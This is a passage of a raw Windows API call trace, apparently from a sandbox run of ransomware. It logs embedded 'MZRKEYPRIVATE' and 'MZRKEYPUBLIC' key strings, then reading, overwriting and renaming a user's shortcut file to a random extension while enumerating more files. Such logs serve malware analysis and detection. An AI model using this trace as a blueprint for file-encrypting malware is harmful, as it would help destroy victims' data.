nDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.798] GetCurrentThreadId () returned 0xa30 [0082.798] GetCurrentThreadId () returned 0xa30 [0082.798] GetCurrentThreadId () returned 0xa30 [0082.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.799] GetCurrentThreadId () returned 0xa30 [0082.799] GetCurrentThreadId () returned 0xa30 [0082.800] GetCurrentThreadId () returned 0xa30 [0082.800] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PPbvZP.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ppbvzp.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.800] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.800] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.800] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xed5 [0082.800] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.800] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xed5, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xed5, lpOverlapped=0x0) returned 1 [0082.802] CloseHandle (hObject=0x124) returned 1 [0082.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PPbvZP.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ppbvzp.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.804] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xed5, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xed5, lpOverlapped=0x0) returned 1 [0082.806] CloseHandle (hObject=0x124) returned 1 [0082.857] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PPbvZP.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ppbvzp.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PPbvZP.mkv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ppbvzp.mkv.lnk.zv7un")) returned 1 [0082.859] GetCurrentThreadId () returned 0xa30 [0082.859] GetCurrentThreadId () returned 0xa30 [0082.859] GetCurrentThreadId () returned 0xa30 [0082.859] GetCurrentThreadId () returned 0xa30 [0082.859] GetCurrentThreadId () returned 0xa30 [0082.859] GetCurrentThreadId () returned 0xa30 [0082.859] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3095600, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3095600, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3095600, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="PyTen.lnk", cAlternateFileName="")) returned 1 [0082.859] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.859] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.859] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PyTen.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pyten.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3095600, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3095600, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3095600, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x226)) returned 1 [0082.859] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PyTen.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pyten.lnk")) returned 0x20 [0082.859] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PyTen.lnk", dwFileAttributes=0x80) returned 1 [0082.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8